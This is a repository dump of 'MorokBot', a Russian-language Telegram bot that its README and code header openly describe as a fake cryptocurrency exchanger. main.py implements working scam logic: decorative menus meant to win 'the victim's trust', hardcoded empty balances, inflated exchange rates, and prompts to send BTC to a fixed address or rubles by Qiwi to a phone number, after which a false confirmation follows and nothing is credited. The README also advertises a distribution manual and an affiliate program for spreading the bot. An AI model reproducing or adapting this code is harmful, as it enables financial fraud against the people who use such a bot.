├── .gitignore ├── README.md ├── constants.py ├── main.py ├── yobit.py └── Мануал /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MorokBot 2 | 3 | 4 | 5 | МорокБот - совершенно уникальный бот для пассивного или полупассивного заработка, который будет жить еще довольно долго. 6 | - - - - - 7 | Особенности данного бота: 8 | 9 | • BTC - кошелек.
10 | • Фейковые ввод и вывод BTC.
11 | • Различные декоративные вкладки для повышения доверия жертвы.
12 | • Фейковые выводы на Яндекс.Деньги, Webmoney, Qiwi и Сбербанк.
13 | • Способы пополнения счета.
14 | • Автоматически изменяемый курс BTC.
15 | • Реалистичный процесс покупки и подтверждения транзакции.
16 | • Мануал по настройке и распространению бота.
17 | • Бот работает 24/7.
18 | • Постоянная поддержка.
19 | • Партнерская программа для пассивного распространения.
20 | - - - - - 21 | Контакты: 22 | 23 | Телеграм - https://t.me/emoc0re
24 | Уголок Хакера - https://t.me/hackblog
25 | BTC - 1GTNqHZdbbkGFRx1ULk4QNkCVjHumo78rn 26 | -------------------------------------------------------------------------------- /constants.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #!usr/bin/env python 3 | token = "TOKEN" 4 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #!usr/bin/env python 3 | """ 4 | 5 | 6 | __ __ _ ____ _ 7 | | \/ | | | | _ \ | | 8 | | \ / | ___ _ __ ___ | | __ | |_) | ___ | |_ 9 | | |\/| | / _ \ | '__| / _ \ | |/ / | _ < / _ \ | __| 10 | | | | | | (_) | | | | (_) | | < | |_) | | (_) | | |_ 11 | |_| |_| \___/ |_| \___/ |_|\_\ |____/ \___/ \__| 12 | 13 | 14 | 15 | Фейковый обменник криптовалюты от @dsh1337 16 | Версия: 1.0 17 | Дата начала: 20.01.18 18 | 19 | """ 20 | # БИБЛИОТЕКИ 21 | from yobit import bitprice 22 | from yobit import bitpriceUSD 23 | import cherrypy 24 | import random 25 | import telebot 26 | import constants 27 | from telebot import types 28 | 29 | 30 | # НАСТРОЙКА ВЕБХУКА 31 | WEBHOOK_HOST = 'IP' 32 | WEBHOOK_PORT = "80" # 443, 80, 88 или 8443 (порт должен быть открыт!) 33 | WEBHOOK_LISTEN = 'IP' # На некоторых серверах придется указывать такой же IP, что и выше 34 | 35 | WEBHOOK_SSL_CERT = './webhook_cert.pem' # Путь к сертификату 36 | WEBHOOK_SSL_PRIV = './webhook_pkey.pem' # Путь к приватному ключу 37 | 38 | WEBHOOK_URL_BASE = "https://%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT) 39 | WEBHOOK_URL_PATH = "/%s/" % (constants.token) 40 | 41 | bot = telebot.TeleBot(constants.token) 42 | 43 | class WebhookServer(object): 44 | @cherrypy.expose 45 | def index(self): 46 | if 'content-length' in cherrypy.request.headers and \ 47 | 'content-type' in cherrypy.request.headers and \ 48 | cherrypy.request.headers['content-type'] == 'application/json': 49 | length = int(cherrypy.request.headers['content-length']) 50 | json_string = cherrypy.request.body.read(length).decode("utf-8") 51 | update = telebot.types.Update.de_json(json_string) 52 | # Эта функция обеспечивает проверку входящего сообщения 53 | bot.process_new_updates([update]) 54 | return '' 55 | else: 56 | raise cherrypy.HTTPError(403) 57 | 58 | bot.remove_webhook() 59 | bot.set_webhook(url=WEBHOOK_URL_BASE + WEBHOOK_URL_PATH, 60 | certificate=open(WEBHOOK_SSL_CERT, 'r')) 61 | 62 | cherrypy.config.update({ 63 | 'server.socket_host': WEBHOOK_LISTEN, 64 | 'server.socket_port': WEBHOOK_PORT, 65 | 'server.ssl_module': 'builtin', 66 | 'server.ssl_certificate': WEBHOOK_SSL_CERT, 67 | 'server.ssl_private_key': WEBHOOK_SSL_PRIV 68 | }) 69 | 70 | print(bot.get_me()) 71 | def log(message, answer): 72 | print ('\n --------') 73 | from datetime import datetime 74 | print (datetime.now()) 75 | print("Сообщение от {0} {1}. (id ={2}) \n Текст = {3}".format (message.from_user.first_name, 76 | message.from_user.last_name, 77 | str(message.from_user.id), 78 | message.text)) 79 | print (answer) 80 | 81 | # САМ СКРИПТ БОТА | НУЖНО ИЗМЕНИТЬ НАЗВАНИЕ И НОМЕРА КОШЕЛЬКОВ. НЕ ЗАБУДЬ ИЗМЕНИТЬ ССЫЛКУ В "ПАРТНЕРАМ" 82 | 83 | @bot.message_handler(commands=['start']) 84 | 85 | def handle_start(message): 86 | userref = random.randint(10000, 99999) 87 | user_markup = telebot.types.ReplyKeyboardMarkup(True) 88 | user_markup.row('💼 Кошелек', '📊 Обмен BTC') 89 | user_markup.row('🚀 О сервисе', '📌 Акция') 90 | user_markup.row('👔 Партнерам') 91 | bot.send_message(message.from_user.id, 92 | '💰Exchanger BTC - это моментальный обмен Bitcoin на Qiwi, Сбербанк, Яндекс.Деньги и Webmoney, а так же бесплатное хранилище Ваших BTC.', reply_markup=user_markup, parse_mode='HTML') 93 | 94 | @bot.message_handler(content_types=['text']) 95 | def handle_text(message): 96 | 97 | if message.text == "🚀 О сервисе": 98 | bot.send_message(message.from_user.id, "🚀 О сервисе \n \nСервис для обмена Bitcoin. \nПополняй внутренний кошелек с помощью Qiwi или внешнего Bitcoin-кошелька.\n \n" 99 | "Продавай эти BTC для вывода на Сбербанк, Яндекс.Деньги, Webmoney и Qiwi. Или выводи на свой внешний Bitcoin-адрес.\n \n" 100 | "У нас установлено ограничение минимального (500 рублей) и максмального (10 000 рублей) единовременного платежа.", parse_mode='HTML') 101 | if message.text == "📌 Акция": 102 | bot.send_message(message.from_user.id, "📌 Акция" "\n \nExchanger BTC проводит розыгрыш на 0.3 BTC\n \n" 103 | "Для участия в конкурсе надо лишь пользоваться нашим сервисом в период с 01.01.2018 до 01.03.2018 и иметь остаток на балансе 0.0006 BTC.\n \n" 104 | "Этот остаток так же принадлежит Вам, это не плата за участие, после конкурса, даже в случае победы, никакая комиссия взиматься не будет.\n \n" 105 | "Опредление победителя будет проходить в прямой трансляции на площадке YouTube 1 февраля 2018 года в 20:00 по Московскому времени.\n \n" 106 | "За 3 часа до начала Вам придет оповещение с ссылкой на трансляцию.", parse_mode='HTML') 107 | if message.text == "💼 Кошелек": 108 | keyboard = types.InlineKeyboardMarkup() 109 | callback_button = types.InlineKeyboardButton(text="📉 Вывести BTC", callback_data="📉 Вывести BTC") 110 | callback_button2 = types.InlineKeyboardButton(text="📈 Ввести BTC", callback_data="📈 Ввести BTC") 111 | keyboard.add(callback_button, callback_button2) 112 | bot.send_message(message.from_user.id, "💼 Bitcoin-кошелек\n \n" 113 | "Баланс: 0.00 BTC\nПримерно: 0 руб\n \n" 114 | "Всего вывели: 0.00 BTC (0 руб)\nВсего пополнили: 0.00 BTC (0 руб)", parse_mode='HTML', reply_markup=keyboard) 115 | if message.text == "📊 Обмен BTC": 116 | keyboard4 = types.InlineKeyboardMarkup() 117 | callback_button6 = types.InlineKeyboardButton(text="📈 Купить", callback_data="📈 Купить") 118 | callback_button7 = types.InlineKeyboardButton(text="📉 Продать", callback_data="📉 Продать") 119 | keyboard4.add(callback_button6, callback_button7) 120 | bot.send_message(message.from_user.id, "📊 Обмен BTC\n \n" 121 | "Бот работает полностью в автоматическом режиме. Средства поступают моментально.", parse_mode='HTML', reply_markup=keyboard4) 122 | if message.text == "👔 Партнерам": 123 | bot.send_message(message.from_user.id, "👔 Партнерам \n \nПриглашайте новых пользователей и получайте пассивный доход от комиссий бота, создав свой личный обменник. \n \n" 124 | "Ваша комиссия от оборота: 1% \n \n" 125 | "Например: ваш подписчик проводит сделку на сумму 1 BTC, а вы получаете 0.01 BTC (6369.31 RUB) дивидендов. \n \n" 126 | "Партнерская программа бессрочна, не имеет лимита приглашений и начинает действовать моментально. \n \n" 127 | "Учтите, что для достижения хороших результатов необходимо внимательно подходить к поиску целевой аудитории и привлекать только тех, кто будет покупать или продавать BTC.", parse_mode='HTML' ) 128 | bot.send_message(message.from_user.id, "Ваша реферальная ссылка: \nhttps://t.me/QIWI_BTC_mixerbot?start=80As346kMn") 129 | @bot.callback_query_handler(func=lambda c: True) 130 | def inline(c): 131 | if c.data == '📉 Вывести BTC': 132 | keyboard2 = types.InlineKeyboardMarkup() 133 | callback_button3 = types.InlineKeyboardButton(text="📈 Купить", callback_data="📈 Купить") 134 | keyboard2.add(callback_button3) 135 | bot.edit_message_text( 136 | chat_id=c.message.chat.id, 137 | message_id=c.message.message_id, 138 | text = '📉 Вывести BTC\n\n' 139 | '⚠️У вас недостаточно BTC.\n' 140 | 'Мининимальная сумма вывода: 0.0008 BTC' , parse_mode='HTML', 141 | reply_markup=keyboard2) 142 | 143 | if c.data == '📉 Продать': 144 | keyboard5 = types.InlineKeyboardMarkup() 145 | callback_button8 = types.InlineKeyboardButton(text="Qiwi", callback_data="Перевод") 146 | callback_button9 = types.InlineKeyboardButton(text="Сбербанк", callback_data="Перевод") 147 | callback_button10 = types.InlineKeyboardButton(text="WebMoney", callback_data="Перевод") 148 | callback_button11 = types.InlineKeyboardButton(text="Яндекс.Деньги", callback_data="Перевод") 149 | keyboard5.add(callback_button8, callback_button9, callback_button10, callback_button11) 150 | bot.edit_message_text( 151 | chat_id=c.message.chat.id, 152 | message_id=c.message.message_id, 153 | text = '📉 Продать\n\n' 154 | 'Продажа BTC осуществляется списыванием с Вашего внутреннего Bitcoin-кошелька и последующая отправка рублей на выбранную Вами площадку.\n\n' 155 | 'Куда Вы хотите вывести BTC?' , parse_mode='HTML', 156 | reply_markup=keyboard5) 157 | 158 | if c.data == 'Перевод': 159 | keyboard6 = types.InlineKeyboardMarkup() 160 | callback_button12 = types.InlineKeyboardButton(text="📈 Купить", callback_data="📈 Купить") 161 | keyboard6.add(callback_button12) 162 | bot.edit_message_text( 163 | chat_id=c.message.chat.id, 164 | message_id=c.message.message_id, 165 | text='⚠ У вас недостаточно BTC\n' 166 | 'Минимальная сумма вывода: 0.0006 BTC', parse_mode='HTML', reply_markup=keyboard6) 167 | 168 | elif c.data == '📈 Ввести BTC': 169 | bot.edit_message_text( 170 | chat_id = c.message.chat.id, 171 | message_id = c.message.message_id, 172 | text = '📈 Внести BTC\n \n' 173 | 'Чтобы пополнить Bitcoin-кошелек, Вам надо перевести Ваши BTC на многоразовый адрес который будет указан ниже.\n \n' 174 | 'После перевода и подтверждения 1 транзакции, Ваши BTC будут отображаться у Вас в кошельке.\n' 175 | 'И вы их сможете вывести на любую другую платформу, или перевести на внешний Bitcoin-адрес.\n', parse_mode='HTML') 176 | bot.send_message(c.message.chat.id, "1PfDHg7pgX2pu6W3c4jBp7jiUiYSsYEH1J", parse_mode='HTML') 177 | 178 | if c.data == '📈 Купить': 179 | keyboard3 = types.InlineKeyboardMarkup() 180 | callback_button4 = types.InlineKeyboardButton(text="💵 Qiwi", callback_data="💵 Qiwi") 181 | callback_button5 = types.InlineKeyboardButton(text="💵 Bitcoin", callback_data="📈 Ввести BTC") 182 | keyboard3.add(callback_button4, callback_button5) 183 | bot.edit_message_text( 184 | chat_id=c.message.chat.id, 185 | message_id=c.message.message_id, 186 | text='📈 Купить\n \n' 187 | 'Покупка BTC производится с помощью Qiwi или переводом на многоразовый Bitcoin-адрес с внешнего кошелька.\n \n' 188 | 'Выберите способ пополнения', parse_mode='HTML', 189 | reply_markup=keyboard3 190 | ) 191 | 192 | if c.data == '💵 Qiwi': 193 | keyboard7 = types.InlineKeyboardMarkup() 194 | callback_button13 = types.InlineKeyboardButton(text="500₽", callback_data="Перевод2") 195 | callback_button14 = types.InlineKeyboardButton(text="750₽", callback_data="Перевод3") 196 | callback_button15 = types.InlineKeyboardButton(text="1000₽", callback_data="Перевод4") 197 | callback_button16 = types.InlineKeyboardButton(text="2000₽", callback_data="Перевод5") 198 | callback_button17 = types.InlineKeyboardButton(text="3000₽", callback_data="Перевод6") 199 | callback_button18 = types.InlineKeyboardButton(text="4000₽", callback_data="Перевод7") 200 | callback_button19 = types.InlineKeyboardButton(text="5000₽", callback_data="Перевод8") 201 | callback_button20 = types.InlineKeyboardButton(text="6000₽", callback_data="Перевод9") 202 | callback_button21 = types.InlineKeyboardButton(text="7000₽", callback_data="Перевод10") 203 | callback_button22 = types.InlineKeyboardButton(text="8000₽", callback_data="Перевод11") 204 | callback_button23 = types.InlineKeyboardButton(text="9000₽", callback_data="Перевод12") 205 | callback_button24 = types.InlineKeyboardButton(text="10000₽", callback_data="Перевод13") 206 | keyboard7.add(callback_button13, callback_button14, callback_button15, callback_button16, callback_button17, callback_button18, 207 | callback_button19, callback_button20, callback_button21, callback_button22, callback_button23, callback_button24) 208 | bot.edit_message_text( 209 | chat_id=c.message.chat.id, 210 | message_id=c.message.message_id, 211 | text = '💵 Qiwi\n \n' 212 | 'Выберите сумму в RUB которую хотите получить в BTC.\n' 213 | 'Для этого нажмите по одной из кнопок ниже. Максимальная сумма пополнения за раз - 10 000 RUB.\n \n' 214 | 'Курс обмена:\n' 215 | '
1 BTC = ' + str(bitprice + 100000) + ' RUB
\n' 216 | '
1 BTC = ' + str(bitpriceUSD + 800) + ' USD
', parse_mode='HTML', reply_markup=keyboard7) 217 | 218 | if c.data == 'Перевод2': 219 | keyboard8 = types.InlineKeyboardMarkup() 220 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 221 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 222 | keyboard8.add (callback_button25, callback_button26) 223 | bot.edit_message_text( 224 | chat_id=c.message.chat.id, 225 | message_id=c.message.message_id, 226 | text="Для покупки BTC совершите перевод 500₽ на номер, который будет указан ниже. \n\n" 227 | "⚠ Комментарий обязателен.", parse_mode='HTML') 228 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 229 | "Комментарий: " + str(random.randint(10000, 99999)), parse_mode='HTML', reply_markup=keyboard8) 230 | 231 | if c.data == 'Перевод3': 232 | keyboard8 = types.InlineKeyboardMarkup() 233 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 234 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 235 | keyboard8.add(callback_button25, callback_button26) 236 | bot.edit_message_text( 237 | chat_id=c.message.chat.id, 238 | message_id=c.message.message_id, 239 | text="Для покупки BTC совершите перевод 750₽ на номер, который будет указан ниже. \n\n" 240 | "⚠ Комментарий обязателен.", parse_mode='HTML') 241 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 242 | "Комментарий: " + str(random.randint(10000, 99999)), 243 | parse_mode='HTML', reply_markup=keyboard8) 244 | 245 | if c.data == 'Перевод4': 246 | keyboard8 = types.InlineKeyboardMarkup() 247 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 248 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 249 | keyboard8.add(callback_button25, callback_button26) 250 | bot.edit_message_text( 251 | chat_id=c.message.chat.id, 252 | message_id=c.message.message_id, 253 | text="Для покупки BTC совершите перевод 1000₽ на номер, который будет указан ниже. \n\n" 254 | "⚠ Комментарий обязателен.", parse_mode='HTML') 255 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 256 | "Комментарий: " + str(random.randint(10000, 99999)), 257 | parse_mode='HTML', reply_markup=keyboard8) 258 | 259 | if c.data == 'Перевод5': 260 | keyboard8 = types.InlineKeyboardMarkup() 261 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 262 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 263 | keyboard8.add(callback_button25, callback_button26) 264 | bot.edit_message_text( 265 | chat_id=c.message.chat.id, 266 | message_id=c.message.message_id, 267 | text="Для покупки BTC совершите перевод 2000₽ на номер, который будет указан ниже. \n\n" 268 | "⚠ Комментарий обязателен.", parse_mode='HTML') 269 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 270 | "Комментарий: " + str(random.randint(10000, 99999)), 271 | parse_mode='HTML', reply_markup=keyboard8) 272 | 273 | if c.data == 'Перевод6': 274 | keyboard8 = types.InlineKeyboardMarkup() 275 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 276 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 277 | keyboard8.add(callback_button25, callback_button26) 278 | bot.edit_message_text( 279 | chat_id=c.message.chat.id, 280 | message_id=c.message.message_id, 281 | text="Для покупки BTC совершите перевод 3000₽ на номер, который будет указан ниже. \n\n" 282 | "⚠ Комментарий обязателен.", parse_mode='HTML') 283 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 284 | "Комментарий: " + str(random.randint(10000, 99999)), 285 | parse_mode='HTML', reply_markup=keyboard8) 286 | 287 | if c.data == 'Перевод7': 288 | keyboard8 = types.InlineKeyboardMarkup() 289 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 290 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 291 | keyboard8.add(callback_button25, callback_button26) 292 | bot.edit_message_text( 293 | chat_id=c.message.chat.id, 294 | message_id=c.message.message_id, 295 | text="Для покупки BTC совершите перевод 4000₽ на номер, который будет указан ниже. \n\n" 296 | "⚠ Комментарий обязателен.", parse_mode='HTML') 297 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 298 | "Комментарий: " + str(random.randint(10000, 99999)), 299 | parse_mode='HTML', reply_markup=keyboard8) 300 | 301 | if c.data == 'Перевод8': 302 | keyboard8 = types.InlineKeyboardMarkup() 303 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 304 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 305 | keyboard8.add(callback_button25, callback_button26) 306 | bot.edit_message_text( 307 | chat_id=c.message.chat.id, 308 | message_id=c.message.message_id, 309 | text="Для покупки BTC совершите перевод 5000₽ на номер, который будет указан ниже. \n\n" 310 | "⚠ Комментарий обязателен.", parse_mode='HTML') 311 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 312 | "Комментарий: " + str(random.randint(10000, 99999)), 313 | parse_mode='HTML', reply_markup=keyboard8) 314 | 315 | if c.data == 'Перевод9': 316 | keyboard8 = types.InlineKeyboardMarkup() 317 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 318 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 319 | keyboard8.add(callback_button25, callback_button26) 320 | bot.edit_message_text( 321 | chat_id=c.message.chat.id, 322 | message_id=c.message.message_id, 323 | text="Для покупки BTC совершите перевод 6000₽ на номер, который будет указан ниже. \n\n" 324 | "⚠ Комментарий обязателен.", parse_mode='HTML') 325 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 326 | "Комментарий: " + str(random.randint(10000, 99999)), 327 | parse_mode='HTML', reply_markup=keyboard8) 328 | 329 | if c.data == 'Перевод10': 330 | keyboard8 = types.InlineKeyboardMarkup() 331 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 332 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 333 | keyboard8.add(callback_button25, callback_button26) 334 | bot.edit_message_text( 335 | chat_id=c.message.chat.id, 336 | message_id=c.message.message_id, 337 | text="Для покупки BTC совершите перевод 7000₽ на номер, который будет указан ниже. \n\n" 338 | "⚠ Комментарий обязателен.", parse_mode='HTML') 339 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 340 | "Комментарий: " + str(random.randint(10000, 99999)), 341 | parse_mode='HTML', reply_markup=keyboard8) 342 | 343 | if c.data == 'Перевод11': 344 | keyboard8 = types.InlineKeyboardMarkup() 345 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 346 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 347 | keyboard8.add(callback_button25, callback_button26) 348 | bot.edit_message_text( 349 | chat_id=c.message.chat.id, 350 | message_id=c.message.message_id, 351 | text="Для покупки BTC совершите перевод 8000₽ на номер, который будет указан ниже. \n\n" 352 | "⚠ Комментарий обязателен.", parse_mode='HTML') 353 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 354 | "Комментарий: " + str(random.randint(10000, 99999)), 355 | parse_mode='HTML', reply_markup=keyboard8) 356 | 357 | if c.data == 'Перевод12': 358 | keyboard8 = types.InlineKeyboardMarkup() 359 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 360 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 361 | keyboard8.add(callback_button25, callback_button26) 362 | bot.edit_message_text( 363 | chat_id=c.message.chat.id, 364 | message_id=c.message.message_id, 365 | text="Для покупки BTC совершите перевод 9000₽ на номер, который будет указан ниже. \n\n" 366 | "⚠ Комментарий обязателен.", parse_mode='HTML') 367 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 368 | "Комментарий: " + str(random.randint(10000, 99999)), 369 | parse_mode='HTML', reply_markup=keyboard8) 370 | 371 | if c.data == 'Перевод13': 372 | keyboard8 = types.InlineKeyboardMarkup() 373 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 374 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 375 | keyboard8.add(callback_button25, callback_button26) 376 | bot.edit_message_text( 377 | chat_id=c.message.chat.id, 378 | message_id=c.message.message_id, 379 | text="Для покупки BTC совершите перевод 10000₽ на номер, который будет указан ниже. \n\n" 380 | "⚠ Комментарий обязателен.", parse_mode='HTML') 381 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 382 | "Комментарий: " + str(random.randint(10000, 99999)), 383 | parse_mode='HTML', reply_markup=keyboard8) 384 | 385 | if c.data == 'Оплатил': 386 | bot.edit_message_text( 387 | chat_id=c.message.chat.id, 388 | message_id=c.message.message_id, 389 | text= "✅ Отлично\n\n" 390 | "Если вы правильно произвели перевод, то течение пяти минут бот обработает его и зачислит BTC на ваш счет. " 391 | "Если же вы допустили ошибку при переводе, то напишите в службу поддержки @BitcomatHelpBot. " 392 | "Благодарим вас за выбор Exchanger BTC.\n", parse_mode='HTML') 393 | 394 | if c.data == 'Отказаться': 395 | bot.edit_message_text( 396 | chat_id=c.message.chat.id, 397 | message_id=c.message.message_id, 398 | text= "⚠ Вы можете приобрести BTC в любое другое время.\n", parse_mode='HTML') 399 | 400 | 401 | cherrypy.quickstart(WebhookServer(), WEBHOOK_URL_PATH, {'/': {}}) 402 | -------------------------------------------------------------------------------- /yobit.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #!usr/bin/env python 3 | import requests 4 | 5 | r = requests.get('https://blockchain.info/ru/ticker') 6 | bitprice = (r.json()['RUB']['buy']) 7 | bitpriceUSD = (r.json()['USD']['buy']) 8 | 9 | -------------------------------------------------------------------------------- /Мануал: -------------------------------------------------------------------------------- 1 | https://drive.google.com/file/d/1kz2ne-K5kJGMDyHMmqHRu5of_gsDVL5Y/view?ths=true 2 | --------------------------------------------------------------------------------